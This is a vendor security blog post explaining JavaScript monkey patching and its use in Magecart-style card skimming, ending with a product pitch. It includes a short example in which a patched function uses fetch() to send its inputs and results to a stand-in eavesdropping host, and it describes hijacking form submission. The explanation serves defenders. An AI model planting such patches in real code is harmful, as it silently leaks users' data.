An Analysis of Code Poisoning (Monkey Patching) in JavaScript

By Júlia Rocha 6 min read

Monkey patching lets you dynamically change JavaScript behavior. While you can use it legitimately, it can also enable attacks like Magecart. You have probably heard this countless times: JavaScript is a dynamic language. But have you ever considered what that means for your application’s security?

One quirk of JavaScript is its ability to redefine the behavior, properties, and methods provided by browser APIs and interfaces at runtime. It is also possible to redefine your functions or objects into something else if your application requires it. This functionality is often called monkey patching.

Traditionally, monkey patching refers to dynamically modifying existing classes or methods at runtime to change the behavior of third-party code. Usually, this better meets your application’s needs.

There are many ways to patch our code. Some are permitted or expected, and others are considered hacky.

Examples of expected patching are:

  • Method overriding: A class overriding a method whose parent class already had an implementation. This is a default feature in common Object-Oriented Programming languages.
  • Method overloading: Multiple versions of the same method accept a different number or type of arguments.
  • Aspect-Oriented Programming: A paradigm that can change the program’s behavior when some functionality is executed.

However, in JavaScript, we often talk about raw hacking or patching, i.e., dynamically replacing a method or field with different functionality and potentially reusing the original.

How does monkey patching work?

Monkey patching is simply reassigning a property or function to another function.

Imagine you originally had an addition function that an application invoked with two arguments, and it returned five.

Now, you want to change the add function’s behavior with new functionality.

To simplify, we want to increase the result by 1. You could do this by changing the source code directly. However, if you don’t have access to the source code before execution (e.g., dynamically generated code or native APIs), you can monkey-patch the function at runtime by replacing it with a new function that adds that logic.

So, replace the original add function with a new one that calls the original to get the correct value, adds 1 to the result, and returns the patched value.

In this example, we could use the complete body of the original function. However, this might not be feasible for more complex functions or functions natively implemented by the engine. Thus, we can use an “intermediate” to add new logic while preserving the original functionality if needed.

This concept can be used in different contexts and for several purposes:

  • Logging and traceability: Logging the execution of a function or implementing tracing maneuvers;
  • Input/Output validation: Making sure the correct types of values are used in functions;
  • Security fixes: Applying patches to discovered vulnerabilities in the application;
  • Polyfills: Creating alternative functions to be compatible with older systems;
  • Caching: Creating mechanisms to cache results and optimize execution.

The code snippet below is a simple example of monkey patching for logging the execution of a native JavaScript function. This example validates the square root function’s input and throws an exception when it receives an invalid input (not a positive number).

The example starts by keeping the original version in memory by assigning it to a local variable. Then, it overrides the original’s property with a new function that includes input validation logic.

The original version calculates the square root of a number.

var originalSqrt = Math.sqrt;
Math.sqrt = function(value){
  if (isNaN(value))
    throw 'The value is not a number';
  if(value < 0)
    throw 'Value must be a positive number'
  //...
  return originalSqrt(value);
}
//...
Math.sqrt('Hello'); // > The value is not a number
Math.sqrt(-2);      // > Value must be a positive number
Math.sqrt(9);       // > 3

Don’t overuse it!

Problems can occur in two scenarios: you are a third-party library developer, or your application relies on third-party libraries. In that case, if you change the behavior of the native APIs the scripts use, you can cause erroneous behavior in the application, which can, in turn, introduce security vulnerabilities.

If you own all the application’s source code, you are the only one who can monkey-patch methods. Nevertheless, you must be careful not to break your program’s logic and expected behavior.

As a result, your code can become harder to understand and, consequently, more difficult to maintain.

What can others do with your application?

Browsers provide several APIs and interfaces to help developers create better applications.

They can help establish network connections, make visual changes to the application, or provide cryptographic functions when needed. However, they also let developers modify those Native APIs so their functionality matches what the application requires.

Those changes usually aim to add more functionality to specific methods, such as parsing and validating input for invalid values.

The problem is that attackers can patch the Native APIs! Using browser APIs and interfaces, they can extract information from your application, resulting in a massive (and silent) data breach.

Continuing with the previous example, an attacker can output the values the function uses for the calculation.

The attacker won’t modify the function’s expected behavior but might extract potentially sensitive information to use later.

var originalAdd = add;
add = function(a,b){
  var result = originalAdd(a,b);
  fetch("http://www.eavesdrop.com?a="+a+"&b="+b+"&result="+result);
  return result;
}
add(2,3); //sends to http://www.eavesdrop.com?a=2&b=3&result=5
> 5

How far can the attackers take it?

Imagine a browser API sends a network message to a server requesting a money transfer to another account.

An attacker could change that particular API to monitor all outgoing requests. When a request passes through it, the function can change the transfer recipient to the attacker, stealing the money without alerting the user.

Another way an attacker could achieve the same objective is by changing the function that runs when a user clicks the submit button on a form.

On the Web, forms are widely used to submit sensitive information such as credit card numbers, credentials, and personally identifiable information (PII), all of which are valuable data to attackers who are highly motivated to illegally access or steal them.

The attack vector commonly known as Magecart uses this approach to skim E-commerce customers’ credit card details. This approach has been so successful so far that Magecart has been detected over 2 million times and has infected over 100,000 stores to date. Among the websites that fell prey to Magecart credit card skimmers, British Airways suffered a 2018 breach that leaked the credit card information of roughly 500,000 customers.

Ways to keep your application secure

If you have an application and rely on third-party libraries, the bottom line is that they broaden your application’s attack surface.

To address this threat, test the Native APIs you use in your code. This helps detect whether any library changes commonly used functions. By adding these tests to your pipeline, you can detect a compromised dependency in a staging environment before pushing vulnerable code to production.

The following list contains some of the most common functions that can be targeted by attackers to exploit your application or the data from your users:

  • eval function
  • onClick events
  • onSubmit events
  • Fetch API
  • XMLHttpRequest API

Many others exist and will depend on the scope of your application.

Lastly, to check whether a third-party script is making these malicious changes at runtime, you should monitor the client side of your application in real time.

A webpage monitoring solution immediately alerts you when a third-party script tries to monkey-patch your application code and triggers countermeasures to block the attack.

To see our product in action, request a meeting with Jscrambler’s team.